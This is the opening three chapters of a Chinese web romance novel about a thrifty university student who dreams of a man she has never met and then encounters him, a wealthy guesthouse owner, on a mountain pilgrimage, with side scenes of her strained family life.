《和老婆时空错位十一年后》
1. 01(文学城)
文/黎星玉
2026.2.20晋江文学城首发
“过来。”
男人声音低沉冷冽,含着隐隐怒意,不似以往温柔。
祁星尔关掉ipad,趿拉着毛绒棉拖起身,手臂被一双大手握住,顺势滑进男人温暖且充满木质香的怀抱。
少女蓝白色薄绒睡衣,和男人黑丝绸睡衣形成奇怪又鲜明的对比。
男人的下巴放进少女的颈窝,俊脸眉锋上翘,浓眉冷白肤色,
他洗完澡没有戴眼镜,半湿半干的头发随意又蓬松。不知为何,今天的他十分冷沉,话语没有一丝温度。
祁星尔格外紧张。
男人感受到祁星尔失控的心跳,声音如海底水妖:“认真一点。”随后将女孩圈得更紧,胸膛的炽热,隔着睡衣传入祁星尔心间。
祁星尔心跳加速,脸颊绯红,小心细语:“哦。”
她窝在男人怀里,两人贴得更紧,能清晰描摹出,对方身体的轮廓。
安静的客厅,只有ipad播放综艺节目的声音。
放在祁星尔纤细腰肢上的大手,缓慢上滑,高挺的鼻梁刮抚着少女的脖颈。
心仿佛被羽毛撩了一下,她嘤咛一声。
大手握住纤细的手腕,将人反压向沙发。祁星尔手腕被紧锁放在两侧,力道不重,尚能感受到他指腹的绵软,祁星尔动弹不得。
鼻尖亲吻着祁星尔的脸蛋,少女躺在云朵上闭上眼。
随之,湿热的吻如雨水般落在左侧耳垂,太痒,祁星尔耐不住,侧头偏去似要躲避柔软的唇瓣。
一轮强势而温柔地啄吻,倾泻而下,耳垂、脖颈,吻过的地方都敏感起来。
男人眼中怒意更盛。
触及过的每一寸皮肤都痒酥酥的,撩拨着祁星尔心尖,在云端间飘忽不定,享受又沉溺。
男人倒下俯身在她耳边低语一句,面目温柔,动作越来越急,想要进一步探究人类繁衍的深层次问题。
……
“前方到站——洛河市”
早上五点列车语音播报响了,祁星尔惊醒。
“怎么又梦到他了。”自十八岁起祁星尔总梦见一个男人,这个在现实生活中她从没见到过的人。
更奇妙的,所有梦能串起来,要不是每天闹钟响,祁星尔当真会以为她谈了个温柔又魅力十足的男朋友。
祁星尔回味着梦境,记得发生的事记得他的名字,偏就忘记了男人的长相,室友陈美凤在她面前打了个响指:“想什么呢,这么出神。还脸红了。”
祁星尔心虚,回过神来:“没什么。”
绿皮火车哐当前进,驶入漆黑的隧道。
国庆小长假几个室友准备去爬山,其中一个室友要回家没一起去,三人为了省钱买的深夜绿皮火车硬座,长达八小时。
祁星尔腰酸背痛,还没睡醒。
手机振动,一条微信进入,是昨天晚上十一点发的。
买资料的:同学,祁星尔近况怎么样啊。
祁星尔在年级□□群收集各种复习资料,然后发二手市场转卖,虽说单价低,好歹够每天简单的伙食费。
最近在卖四六级资料,其中一个买家不想花钱就提出交换学习资源,二人一回生二回熟聊起来,意外得知男生的暗恋女神是她班的,几番追问发现居然是她自己。
二人都有心眼子没有互报姓名。也正是这一晚上,祁星尔梦里的那个男人忽然冷沉,然后对她发疯的亲吻。
祁星尔都没见过这个人,更别提喜欢,直接拒绝,想也没想就随心编辑消息:据我所知,这个女生有男朋友,温柔多金,比她年龄大,二人感情稳定,谈了有两年。
很快对面人回复,字里行间都是心碎。
不久祁母发微信来:星星出去好好玩啊,没钱跟妈说,妈会多多扶贫(龇牙表情)
一颗星星:谢谢母上大人,你女儿我目前还支撑得住,没钱我肯定会说。(比耶的熊猫人)
电话后的祁母笑得合不拢嘴。
三人下车像抽大烟后期患者,眼下乌黑,哈欠连天。
“我下次再也不为了省钱坐绿皮火车了。”上一次出去玩,三人也是这么说的。
洛河市有不少名胜古迹,主要发展旅游业,现下又临近旅游旺季,即使早晨五点多,火车站依旧人满为患。
祁星尔肚子忽然一阵绞痛,面目狰狞:“不行了,你们先叫车,我去去就来。”她捂着肚子向最近的公共厕所冲去。
一顿纾解下来,只觉幸福感到达巅峰。
从公厕洗手出来,冷风刮过,北方的早上有点打霜,祁星尔不禁紧缩脖子,搓手打寒颤。
天蒙蒙亮,天际露出一抹鱼肚白,这会儿人多了不少,祁星尔一出来就迷路,她搓了一把手,心中暗骂:该死的方向感。
人流攒动,出租车、私家车都出来四处喊客。环卫工人扫街休息间隙席地而坐,保温壶瓶口升起滚滚热气。
祁星尔凭直觉走,拐角后是一个小街道。
许多早餐铺子已经开门,新鲜出炉的包子,推车小贩做的手抓饼、煎饼果子,赶着上早班的人嘴上啃一个包子,一边扫共享单车,也有二三人一起拼车。
这样氤氲着烟火气的老街,转角交接处矗立的复古红色电话亭,与这里格格不入。
旁边有个摆地摊的老奶奶,满头银发。
“卖挂饰咯,纯手织,两元一个。”
地摊上是各种各样的小玩意儿,手工编织的发夹,复古耳饰,鲨鱼夹,手机挂件,其中一个古铜色襄着紫色的类似水晶的戒指,吸引了祁星尔。
“咳咳,小姑娘看看呀。”老奶奶拳头半握着放在嘴前。
祁星尔拿起戒指戴在手上看,紫色水晶在曦光下反光,衬得手指修长莹白。
祁星尔见老奶奶年纪这么大,一大早上的起来摆摊,摊位旁只有一杯冒热气的豆浆。
小姑娘顿时心酸,发现老奶奶还没吃早饭。
她立马到附近的早餐店,买了一大份生煎给老奶奶。
老人家许是被感动,接过生煎:“谢谢小姑娘。”
“你既然喜欢这个戒指,那就送给你吧。”
祁星尔的头摇成拨浪鼓,推手拒绝。
老奶奶慈祥浅笑:“这个不值钱,是开过光的。善良的姑娘,值得被幸运之神眷顾。或许有了它,你的人生会再次美好。”
老人含腰负手,眯眼端详祁星尔。
祁星尔从来不信这些,但认为老奶奶不容易,不能白拿,全当照顾生意。她又选了两样,某拼夕夕2块就能买到的小物件,留下五十块飞也似的跑了。
“希望你能学会柔弱,不必故作坚强。”老人直起身,全然没有刚才地羸弱样,精神抖擞,弯唇浅笑,注视少女的背影。
祁星尔早就不见人影,并未听见这句话。
“祁星尔你到哪里去了!上个厕所这么久。”室友李欢早就不耐烦了,蹙眉瞪着祁星尔。
滴滴已经等候多时,再不来就要收费了。没有人愿意多给钱。
祁星尔:“刚才迷路了。顺道买了这些。”她将刚买的小物件分给两人。李欢脸色才缓和一些。
三人一行主要为了爬太金山,在市里逛了一天,第二天一大早坐大巴到景点。
太金山海拔高,现下十月初,天气预报说今天没雨,是个阴天,三人都穿了薄羽绒服和冲锋衣。
路上山高路陡,山越高气温越低,这里一年四季霜雪不断,因而赏雪景也成了游客一大旅游原因之一。
此山更以山顶的金殿祖师像闻名,引得不少人前来,有的人为了早晨看日出,也不惜彻夜徒步。
还没到十点,山上已是人山人海。
大学生组团的,小情侣们,外国人,各色各样的人都有。人均登山杖、背包、墨镜,两个室友轮流背一个大包,祁星尔背自己的小包。
前半程坐的缆车,中途开始爬山,刚开始几人活力满满,两个小时后都上气不接下气。
山腰处有休息的凉亭,停在此处休息的人不少,天色晦明晦暗,黑云翻滚,寒风灌衣,树枝上已经挂上薄亮的雪晶,看这架势估计要下雪。
“今早还遗憾今天看不见雪景,如今这个样子还是有点可能。”陈美凤吃完小面包喝水。
祁星尔得空点开手机看消息,祁邦成刚好给她发了三条语音,每条都在三十秒以上。
祁星尔点开,轰炸外放。
第一条:祁星尔!老子起早贪黑赚钱就是为了让你出去玩的吗?!
祁星尔抬头,几个休息的陌生人看向她,她心猛地重跳,迅速调小音量,拿着手机找一片空地听。
也不知祁邦成抽哪根筋,下一条语音又语气正常。
爸:星尔我刚才听你妈说你要出去玩,我给你转七百块钱。你好好玩,我还要继续去拉车,下午两点了,我拉了个长途,还没吃午饭……
祁邦成说着给他转钱,实际只是说说假装一下老父亲的大方。祁星尔关掉语音,深呼吸一口气,随便找了块石头坐下。
这个位置很好,可以将山下小镇
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一览无余。她辦了几块压缩饼干吃下,一个人自言自语:“我怎么你们了,我一年就出来玩一次,每次只玩两天,生活费、旅游费花的每一分钱都是我打工赚的,凭什么说我……”
祁邦成是个开滴滴的,每天早七晚九,零零散散一个月除去气费、油费保养费还是能落个六七千块,祁母为了混保险加上身体不好,做着三千块左右的导购工作,家里有生病的两个老人要赡养,日子过得比较紧巴。
祁邦成每年只给祁星尔交学费,生活费都是她打寒暑假工或者做兼职赚的,她从来不做美甲不烫头发,除了旅游爬山,其他的娱乐活动就是玩手机,刷着短视频看盗版小说盗版剧。
除了正式场合她也很少化妆,衣服鞋子最贵的是一件一百五十块钱左右的假棉服,要掉毛的那种,大部分衣服鞋子不超过一百元,三四十块钱是常态。她最难的时候,一份量大的拼好饭分成两顿吃,一顿当早午饭,一顿当晚饭。
祁星尔将保温盖里的水一饮而下,给父亲回消息打字:开车注意安全,快去吃饭,不用给我打钱,够用。她又呆坐了一会儿才走。
祁星尔过来时面无表情,像是什么事也没发生,陈美凤拉着另一个室友,一副不知道的神情,不敢多问,三人闷声走。
爬个山人挤人,大家为了看山顶灯光秀都往上走,也有不少下山的人,总之难以前进。
这会儿果然开始飘雪,细细密密,冷峻的山脉穿上了棉白的纱衣都温柔了几分。
天成紫黑色,要黑不黑,树枝猛烈摇晃,互相击打,碎发轻拍着祁星尔的脸,三人艰难前行。
到金殿时已经凌晨四点,以为这个时间点人应该很少,到底是低估中国人,依旧摩肩接踵人挤人。
摄影师准备好无人机摆好架子,游客们穿好合适的衣服,哪怕狂风漫卷能把人刮走,大家还是要出图。
祈福大殿一共有五座,两殿各处一个小山头,中间凹下去的一块是为太金庙,旁边是回光金殿和道德府。
太金庙旁的蜜雪冰城、正新鸡排、瑞幸都人满为患,隔壁正在装修的霸王茶姬似也在眼红这样的客流量。
来爬太金山烧香祈愿已成标配,什么姻缘事业通通有,卖香、卖红牌以及马克笔的摊铺,从山脚摆到山顶,可谓烧香祈愿一条龙,主打不让你少花一分钱。
山上不少地方都挂了红色的祈愿牌,游客们多多少少图个好念想,都会接受这“一条龙”。山顶的香贵得离谱,菩萨旁边贴了个绿色的二维码,祁星尔尽力忍住不笑,先前的不愉快已然被她忘记。
凡间在进步,仙界也在进步,这不,菩萨也用起了微信支付。
三人已经走散,祁星尔先去最近的金殿附近挂祈福牌。
朱红木栏杆上,好些没系牢的祈福牌被大风刮落,祁星尔寻了个稳妥的位置系好自己那片,绑了三转,确定掉不了后才转身离开。
正上方锁链挂的牌子,被风吹翻转过来:
希望今年可以找到她。
孟停之,二零二四年十月二日
苍劲有力的字体,含着长情的味道。
祁星尔一瞬间定在原地。
孟停之。
一个让她魂牵梦绕许久的名字。
她下意识向四周看了一圈,转而失笑。梦里见了许多次,醒来都不记得人家长什么样,就算人家站在她面前,她也认不出来。
她又笑自己离谱,惦念一个现实中根本见不到的人。
*
回光金殿内人少,游客们都在外面拍照。
三清祖师面前有一男子,右手食指处戴着一枚古铜环蓝水晶戒指,烛火照过,泛着暖黄浅蓝的光。
男人双手合十,朝祖师像虔诚跪拜。
门内右侧有一和尚,一旁的手机还在自动播放抖音。
孟停之给和尚扫了不少钱,“支付宝到账两千元”。
和尚收起笑,两眼上抬看着眼前男子:“施主是从很远的地方来吧。”
孟停之怔了一下:“是。我来找一个人。”
“来这里你付出了不少,想必这个人对你很重要。”
孟停之抿唇:“是。”
“这么多年来,我时常梦见她人生中许多时刻,考试、上学、玩乐,很多,很多。”
唯一苦恼的是,她伤心时我不能陪在身边。
和尚两侧胡子向上提了一下,眯眼笑说:“你能看见她的过去,就说明你们的缘分还没有尽。”
男人像是抓住一株救命稻草。
“我在哪里能找到她?”
2. 02
一般的和尚,都会让再给点钱,然后告诉你答案。
孟停之已经再次扫好二维码,和尚却道:“一切顺其自然。”
他只得作罢离开。
*
祁星尔已经和室友走散,她拍了山顶许多风景照,找了路人小姐姐帮忙出片。来都来了,必然要进殿拜一拜。
她踏入门槛,一气质斐然的男人与她擦肩而过。她淡淡的瞥了一眼男人的皮鞋,心中道:这是来爬山还是走T台?
祁星尔再抬眼望向男人的背影,身姿挺拔,步伐沉稳,远远透露着贵气,引得周围不少人频频回头,有的以拍风景为由,悄悄偷拍。
这一看就不是普通人。
祁星尔没再看,等前面的人拜完便走上前去。
有几个妆容精致,自认有几分姿色的跃跃欲试,其中有一个对着化妆镜整理一下头发,上前搭讪。
孟停之抬手拒绝:“不好意思,我不喜欢加陌生人。”
眼神冷淡而疏离。
明眼人都知道这是拒绝,女人跺脚离开,抹了厚白粉的脸也挡不住赧红。
众人见女人失败,没看到好戏都失望离开。
祁星尔不会当冤大头,只是在三祖清师面前正儿八经地磕了几个头,没有烧香扫钱,但心里许着成为富婆的上亿愿望。
出殿外没多久迎面吹来一阵冷风,头顶凉嗖嗖的,鸭舌帽被吹走。
“我的帽子!”
祁星尔穿过拥挤的人群,去追自己的帽子,帽子越吹越高,风小了又随风落下来,最后被一只修长又骨节分明的手抓住。
祁星尔停住。
“你好,那是我的帽子,请问能还给我吗?”
凑巧的是,人群刚好散去,祁星尔抬头对上男人双眼,棕褐色的琥珀瞳孔下藏着万般情绪,瞳孔中倒映着金色的灯光,闪过一瞬惊讶。
不知为何,祁星尔的心猛地跳动了一下。
一种,莫名的熟悉感。
男人身穿毛领羽绒服,内里是一身西服。他手里拿着帽子,食指处戴了一枚戒指,除了中间嵌的是蓝水晶外,其余和祁星尔的那枚没什么不同。
浓眉末端含着水汽,眼尾泛红,他细密的黑睫,如濒死蝴蝶的细足,轻轻颤抖,浅薄的眼睑微微扇动,幽沉的眸光底下是汹涌的潮水。
男人站在原地,浅唇紧抿,看着眼前少女,目光深情,像树下埋了多年的酒,浓烈、醇厚,这双眼似是怎么看她也看不够。
祁星尔以为他没听见,走近了几分,两人只余一步的距离。
这会儿蓝色云海已泛出烫红的金边,五座金殿和沿途栏杆都已经亮起灯,构成一副天上宫阙图。
霞光划过,男人指节处的蓝水晶戒指,发出一抹幽幽的蓝光,只一瞬便熄灭,同一时间祁星尔手上的紫水晶古铜环戒指也闪了一下。
男人很快捕捉到那抹光亮,瞳孔轻轻怔了怔,眼睑颤抖湿红。
祁星尔开口再说一遍:“先生您好,这是我的帽子,多谢您帮我接住,麻烦……请您还给我。”
男人盯着她不出声,似没有在听她说话,无声注视着她,良久,回过神来,将帽子轻轻扣在她头上。
“多谢。”
祁星尔抬手端正好帽子,再次道谢。
残阳破晓,周围人拿起手机疯狂拍照,又有不少人登顶,场面再次拥堵起来。
搭帐篷席地而睡的人,还有一些刚登上来的游客,一窝蜂地全挤过来,只为留下瞬息万变的美景。
后背被人一撞,祁星尔将要摔倒之际,一双温热有力的大手接过手肘。
她抬头,对上暗沉的瞳,漆黑如墨中闪过惊讶。
“抱歉,刚才人太多。”
女孩的紫水晶戒指再闪了一瞬。
她没注意到,男人猩红的眼眸中闪烁着戒指的紫光,汹涌的情绪似要溢出来。
祁星尔转身离开之际,忽然被男人从背后抱住,严丝合缝,又像是要将她融进身体里。
颈窝里埋入一团温软,鼻梁抵住脖颈,男人呼出的热气扑洒在少女的耳垂上,呢喃的声音在耳边响起,颤抖着、带着湿润的哑,一触即碎。
“终于找到你了。”
声音过于模糊,祁星尔没听清楚。
少女费尽力挣脱出怀抱,气急败坏,不再有方才的礼貌:“你谁啊?我认识你吗?”
瞪了对方一眼,随后头也不回离开。
孟停之追上去开口喊她,不过眨眼间,女孩已然没入人群。
食指上的古铜环戒指还在闪烁,孟停之扯唇,眼睫早已湿润。
……
回程,三人为了省钱没有坐观光车,选择步行。沿路有不少被扔掉的竹棍,祁星尔捡了一根作拐杖。
人太多了,她和室友难以会合,只得分开走在临近山底的民宿碰面。
路上供给站有不少,价格贵得吓人。
泡好的康师傅泡面15元一桶,一小盒放了许久的切块水果50一盒,包里的食物早就吃完,况且离民宿没有多远。祁星尔坚决不买,她相信自己的体力,并且认为,大学生也可以挑战一下极限,顺便锻炼身体磨炼意志。
山上天气变幻莫测,半小时前是晴天,这个时候又开始飘雪。山路生冰层,稍有走神就有可能打滑摔倒。
下山看似省力却一点不轻松,没过多久,祁星尔的腿就开始酸软发抖,从一开始连续下台阶,改为下完一整个再下另一个。祁星尔憋住一口气,历时三个小时到达民宿区。
这个时间正是游客外出的点,民宿区只有个别工作人员,山腰的雪盖满岩石,一片白茫茫。
进入民宿区,她艰难地挪动着步子,一点一点行进。
呼吸道仿佛被堵住,呼吸也更加沉重,心跳得又重又快像要即刻跳出来,小腿沉如灌铅,祁星尔凭着仅存的意识寻找民宿。她跟着导航走,在迷宫似的民宿区,饶了一圈才找到预订的那家。
民宿是山中小院风,外面院子围了一圈木栅栏,小院门口是茅草堆砌的门框,颇有山野味道。
看着“碧水天居”几个字,对比导航确定无误后,祁星尔长叹一口气,全身紧绷的肌肉在此刻松懈,所有感官清晰起来,才发觉额头直冒冷汗,后背已经汗湿,嗓子发干,挤出一点口水都难。
下一瞬间,开始头晕目眩、天旋地转,心慌又四肢发软颤抖,祁星尔最后倒在雪地上。
细雪沾满黑睫,少女脸颊绯红,起皮的嘴唇沾了不少雪。她背着黑包,一身红色冲锋衣侧身倒在民宿木栅栏前。
眼皮一扇一合,再扇再合……迷糊之际,一个高挑的男人打着伞,身穿黑色大衣,踩着密雪,从院内走出来。
这身影,看着熟悉……
祁星尔来不及细想,失去意识。
孟停之一眼便认出,小院外那抹红色的身影。他丢下伞,即刻去将人抱进民宿。
“怎么回事?外面有人晕倒都没看见。”男人语气冷沉,如极地冰川。
前台第一次看见向来冷静沉着的老板着急,小王摸不着头脑,放下手中的事过去接人。
然后却奇了怪了,从来不喜欢被人碰的孟停之,避开他伸来的手,只丢下没有温度的一句:“找最近的卫生站医生过来。”
男人抱着女孩与他擦肩而过,来不及等电梯,长腿一迈,跨上楼。
年轻的小前台,不得多想赶忙照老板的话做。
*
陈姐给祁星尔换衣服时,掉落了一个证件,学生证里页,贴了一张祁星尔蓝底白t恤证件照,小姑娘唇红齿白,笑意盈盈,这一笑,孟停之枯萎的心有了生命。
他蹙眉,随即压了下唇角。
这么多年了,她一点也没有变。
陈姐看向孟停之,忐忑道:“先生,刚才掉地上的证件,是这个小姑娘的。”
男人挑了挑眉,目光未离开床上躺着的人半分。
陈姐又道:“学生证应该挺重要的。”言下之意,她希望先生能够给人放回去,免得小姑娘以后用找不到。
默了半分钟。
对方启唇:“我知道,我会还给她的。”
男人把学生证收进大衣内层。
陈姐长吁一口气,也对,先生是那种随便拿人东西的人吗?先生对所有人都好,尽管她是新来临时帮忙的,才干了两天,先生也给她正式员工待遇,奖金福利一样不少。
*
这一觉祁星尔睡了很久,梦境很短,梦中她又见到那个男子,他站在光影处朝她招手,祁星尔走向他,快要看清面容时梦醒了。
睁开眼是冷白的天花板,外面少许光透过窗帘穿进来,祁星尔蹙眉,口干舌燥,她撑着身子想要起来。
孟停之一夜未眠。
“你醒了。”
床边小椅上的男人声音沙哑,冷白的肤色,眼下乌青尤为明显,衣领微敞,一身倦意。孟停之抬身拿了个长枕头,支在祁星尔身后。
是她晕倒前见到的那个男人。
孟停之看清小姑娘眼里的疑惑,他启唇:“你晕倒在我的客栈前,检查出来是低血糖犯了。”
旁边站着的白衣大褂医生,松下眉头:“这几天要注意休息。”他看了眼孟停之,又咳嗽一声:“最好不要急着下山,多住几天,养好身体。”
一个低血糖,打点葡萄糖就好,就小姑娘的体质躺一天完全好了。看孟停之紧张的神情,白轻故意这样说。
祁星尔看了眼吊瓶。
“这是葡萄糖。”男人捏了捏眉骨。
“我这身衣服是?”谁换的。
“陈姐帮忙换的。”
祁星尔松了一口气。
孟停之气质出众,放在人群里一眼就能认出来。
祁星尔半是疑惑开口:“请问我是否见过您?”
孟停之对上她的眼睛,内双下的琥珀瞳盯着她,失去焦点,但目光只定在她身上。像迷雾里失航的船,找到唯一的锚地。
四目相对,两人静默下来。
初雪放晴,薄阳洒了男人半身,半张俊脸没入阴影。
半刹那间,祁星尔恍惚认为是自
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己的错觉,对方看她的眼神像是在看一个故人,那双眼睛中藏着半分惊喜。
像是在惊喜于,一个许久不见的故人好像终于记起他,不过很快,这抹惊喜便消失。
“见过,太金山顶,我捡到你的帽子。”声音低沉,清透。
少女脸颊处的红瞬间烧到耳垂,想起在之前说的那些话,祁星尔不自在起来。
她想道歉又说不出口,自己没错,但回想起来,觉得自己语气刻薄了些,人家还不计前嫌救了她。
默了一两分钟,她斟酌开口:“多谢您救我。”
“你在我的民宿前晕倒,我自然要负责。”男人始终盯着她。
“你……不记得我?”
祁星尔接过马克杯:“谢谢。”喝下一口热水,失笑,“我今天第一次认识你。怎么会有‘记得’这一说?”
说到民宿,祁星尔才想起她的室友。
一看手机,大半天了,十多条未接来电。
祁星尔回拨过去给陈美凤二人报平安。
孟停之始终看着她,食指轻扣桌面。
“你醒了就好,我们一开始给你打电话不通,下楼碰见民宿老板,火急火燎抱着你跑进来,还是他帮你叫的医生。”
“这老板还挺好,找了个阿姨照顾你,我们帮不上忙,不想打扰你休息就先离开了。”
陈美凤订了个大标间,三个姑娘,祁星尔个小挤一挤就能住下。
祁星尔再看一眼时间,已经是第二天下午了,她这一睡,睡了快一天。她环顾一圈四周,住的这间房是民宿的,住都住了那岂不是要单独多给一间房费?看这大小和布置,高低是个大床房。
祁星尔计算着房费,心在滴血。
陈姐进来送了一碗南瓜粥:“小姑娘先吃点这个,过几个小时肠胃缓过来了,就可以正常进食。”
“请问我现在能退房吗?”少女突如其来的一句,另外两人明显愣了一下。
陈姐搭好小桌板,摆放食盒,笑道:“这间房是我们老板住的,不收钱。”
祁星尔放下心,又满血复活。
她再看一眼房间,干净整洁,要不是她躺在这儿,真不像有人常住,要说哪里与客房有点区别,只有床上的六件套是深灰色,不是客房的纯白。
“哦。那谢谢啦!”祁星尔见男人一身倦意,“我现在没事了,吊瓶可以不用打了。”
对方一看就是一晚没睡,她这个罪魁祸首,自然不能一直霸占着别人的床,况且对方还是陌生男人,这不合适。
祁星尔掀开被子拔针。
孟停之眼中闪过慌乱,目光随即沉下来,握住少女纤细的手腕。
手掌大而温暖,长指圈住手腕还多出一截。
“你干什么?”男人蹙着眉,温润的声音藏着怒。
祁星尔摸不着头脑,他怎么比我还紧张?受伤的是我,又不是他。
莫名其妙。
“葡萄糖不用打,我吃点糖就好。”
少女脸色苍白,眸子乌黑如刚过水的黑加仑,灵动、单纯,小脸上写着三个字“无所谓”。
“要打的。”
男人温柔的语气充满力量,祁星尔像吃了颗定心丸,不自觉退回去。
祁星尔反应过来时已经躺回了床上,孟停之提起她的手腕,在下面放了一个热水袋,把输液的那只手小心翼翼放好。
掌心突然传来的热感,灼了一下少女的心。
热水袋是祁星尔最喜欢的机器猫。还是针织大头图案。
祁星尔看向孟停之,这不像是一个二十七八的男子会有的东西。
“陈姐那儿借的。”孟停之看出小姑娘的疑惑,“就是送粥的那位女士。”
“哦。”
突然有陌生人对她这么好,她不自在:“谢谢。”声音小如蚊蝇。
孟停之听见了,给祁星尔盖好被子,去了对面次卧,不过没有关次卧的门。
这是一个大套房,祁星尔睡的主卧,主卧门对面就是小次卧的门。
祁星尔睡够了,吃完饭后看小说追剧,她戴上耳机不声不响,卧室静谧得好似没有人。
祁星尔猜测对面可能在休息,刷到好笑的段子不敢大笑,只能忍住。
也不知过了多久,视频里的二哈露出邪魅的笑容,她实在忍不住了,猛捶了几下床,笑得前俯后仰,眼泪花都出来了。
“咔哒”
卧房门忽然被打开,开门声急促而紧重。
次卧的男人门也没敲,匆忙进来,神色紧张。
祁星尔笑嘻嘻地,闻声抬起头,四目相对。
男人瞳孔放大,脸色煞白,但在看见完整且鲜活的少女那一瞬间,又缓和下来。他胸口起伏,长叹一口气,又恢复平缓。
“不好意思啊,吵到你了,我刚才没忍住。”祁星尔的嘴角还扬在眼尾,明显还没从喜悦中出来。
“我小声一点,你快去休息吧。”
“嗯。饿了叩铃,陈姐会送餐过来。”孟停之准备关上门。
“等等。”
3. 03
祁星尔举起手机,一段视频放在孟停之眼前。
视频里的人正是他早上去金顶上香拜佛时的场景,矜贵疏离,温和的气质却又透着淡漠,和祁星尔相处时表现的,完全不一样。
至少祁星尔这么感觉。
不过半天,视频点赞量已经过十万。
网友热评:
【好有贵气感,内娱又进新人了,演员还是模特?】
后面有人回复【不是哦,我有朋友在太金山工作,这是他们隔壁新建民宿的老板】
【小说男主照进现实,我天菜[爱心眼]】
【夜爬太金山看日出,可以偶遇帅哥……[记下了.jpg]】
【太金山这么宣传,我早就来了[大笑]】
祁星尔笑道:“有您这段视频,太金山游客估计又要暴涨。”
孟停之没说其他,只是叮嘱:“玩手机可以外放,这间房隔音很好,我听不见。”
祁星尔愣了一秒,取下耳机,声音开到最小。
自此后对方就没出现在她的视野里,直到临走前去还热水袋,她也还是没见到那位热心肠的民宿老板。
她甚至还不知道他的名字。
“陈阿姨,谢谢你这两天的照顾,也谢谢你的热水袋。”
陈姐都不好意思,半刻道:“这是先生让我买的,还特意指定要买这一款。姑娘要谢就谢先生吧。”
?
祁星尔想让陈姐转还给他,陈姐:“先生说了不用还,这都一月份了,天冷上许多。先生有事外出,临走前特意叮嘱,姑娘体寒,回程路上,刚好可以用来暖手。”
好意难却,高铁票已经改签过一次了,必须走。
只可惜那人帮她这么多,她却不能好好地谢谢人家,心里愧疚,总过意不去。
“好吧。”祁星尔转身欲走,“陈阿姨可知道先生名字?”
陈姐浅笑:“我是临时被叫过来帮忙的,我也不知道。听这里的人说,先生很少来这边,没有几个人知道他叫什么,依稀听说,好像是姓……孟。”
“祁星尔快走了,再不走要赶不上高铁了。”陈美凤二人叫她。
祁星尔只能离开。
孟停之在三楼,隔着薄纱窗幔注视着少女的离开。祁星尔感觉暗处有一道目光,好像有人在看她,她抬头看向民宿小楼的高层,没有一个人。
祁星尔走后第二天,陈姐忽然想起,先生房间的床单被套没换,过去时孟停之睡眼惺忪地从房间出来。
陈姐的心提到嗓子眼。
这份工作薪水待遇很好,她不想失去。
“先生,昨天太忙忘记换被套了,您……”
孟停之拧开一瓶冰水:“没事。你先去忙吧。”
陈姐把清洁车推走,先生竟然没生气?陈姐记得前台小伙特意和她叮嘱过,先生很洁癖的,不允许别人碰他的私人物品,以前有人坐了一下他的床,就要立马换床单,更不要说睡了。
可那个小姑娘不仅睡了,还睡了好几天。
陈姐不明所以,但想着自己的工作保下来,便没多想,摇头离开。
*
回校后,祁星尔就开始做兼职。祁邦成对她出去玩的事只字不提,祁母关心一两句祁星尔给她看了拍的风景照,祁母满是惊叹和羡慕。
谷兰嫁给祁邦成二十年,祁邦成没带她出去过一次,每个月拿1000块钱的伙食费都要犹豫许久。也不是没闲钱去旅游,作为灵活就业者,出去旅游等同于少一天工钱,还有大笔旅游支出,这更是宛如割肉。
谷兰结婚前喜欢旅游,那会儿容光焕发,身体好工资也不错。
当年的祁邦成长得算小帅,又对谷兰穷追不舍,那时候的谷兰想着自己27了,祁邦成看着老实,于是和他在一起不到一年就结婚,并且回归家庭。年轻的祁邦成一穷二白,二人结婚后住的房子还是青瓦单间,雨天漏水,房子里能闻见屋外陋厕的臭味。
谷兰刚生完孩子花,基本掏空小两口家底,为了省钱舍不得吃肉,因而在月子里落下许多病,都是小病,但像温水煮青蛙,花钱又磨人。
出月子没后多久,谷兰再找的工作工资都很低,在家更没话语权。后来祁星尔长大了,有一次谷兰忍不住闹了一场,在这之后,祁邦成才对她客气不少。
有一件事,祁星尔印象很深。那是一个夏季的晚上,他们家还没有买房子,一家人挤在一室一厅仅有三十平米的出租屋。
那天谷兰做饭晚了一会儿,祁邦成回家没及时开饭,进门就发脾气,摔门,摔杯子,垮着一张脸,吃饭时一会儿说咸了一会儿说辣了,吃完饭后就开始莫名其妙挑事。谷兰先是辩解后来懒得理人。祁邦成气急,脸一黑便吼人,一副气势滔天老虎样,整幢楼都听得见。
不久祁邦成上头,随手拿起衣架势要打人,躲在椅子后的祁星尔半只脚踏出,准备挡在母亲面前。谷兰后退一步到厨房里拿出一把菜刀,把祁星尔护在身后,不再似以往温顺懦弱样。刀尖指着体型大她一圈、比她高一个头的男人,言语凶狠冷沉:“你今天是不是要打人?”
祁邦成愣神气势顿时减了大半截,甩掉衣架。
这是谷兰第一次反抗他,以前都是他打不还手骂不还口。
自这以后祁邦成说话客气不少,吃饭只有确实是盐放多了,他才会淡淡说一句。后来祁邦成存够了钱买车,谷兰就让他交生活费,虽然甩脸子但还是会交。
日子过得很快,除了国庆出去玩那几天,祁星尔的时间都被兼职占满。
自那次在山顶后,祁星尔已经很久没有梦见过孟停之了。还有些想他,她记录了做梦的每一次内容,这几天拿出来看,听说反复看梦中内容,反复想一个人,就能在梦中再次见到他。
祁星尔试了,没用。
陈美凤看她焉嗒嗒的,问她怎么了,她如实说。
“怪不得你一副失恋人的状态。”
“没关系。给你看看我的新老公,你今晚的美梦素材马上就有了。”陈美凤兴致勃勃的拿出几张某热门乙游男主的小卡,她还diy了精美的卡砖。
对于祁星尔这种闲钱不多的人来说,不太能get到这些氪金二次元的乐趣,人物美则美矣,可惜要花钱,这就不美了。
天气已经越来越冷,北方始终比南方要冷,昨夜下了场大雪。
大概是陈美凤的方法奏效,时隔一个半月,祁星尔又梦见了孟停之。
这一次的梦境很短,她被坏人追着跑,跑着跑着在顶楼上踩滑坠下楼去,孟停之被吓得不轻,想也没想为了拉她,和她一起坠楼,然后投来一束强光。
寝室统一亮灯,昨晚太累临睡前没拉遮光帘,寝室透亮,室友们还在熟睡。
祁星尔乍然睁开眼,心跳剧烈,她大口喘气,起身接了杯温水喝。
或许真的不应该再去想他了,到时候如果弄出精神分裂,去看心理医生又是一笔不小的开支。祁星尔强迫自己不再去想他。
祁星尔洗漱完,开始打卡单词。
大二上期的课还不多,校内小兼职赚得少,她便重新在离学校不远的地方,找了个便利店兼职。老板想着她是女孩子晚上不安全,晚班就只让她上晚上七点到十点,周末全天,总之,老板很照顾她作为大学生的时间,工资也很可观。
六点到八点,这个时间段正是客流量高峰期,好些大学生到这里来买东西。
“一共103,请问扫码还是现金?”
“扫码。”
“好的,请扫这边。”
送完一批客人祁星尔伸了一下懒腰,活动脖子之际,瞥见对面马路边,停着一辆黑色SUV。
这辆车已经连续好几天出现在那个位置了。
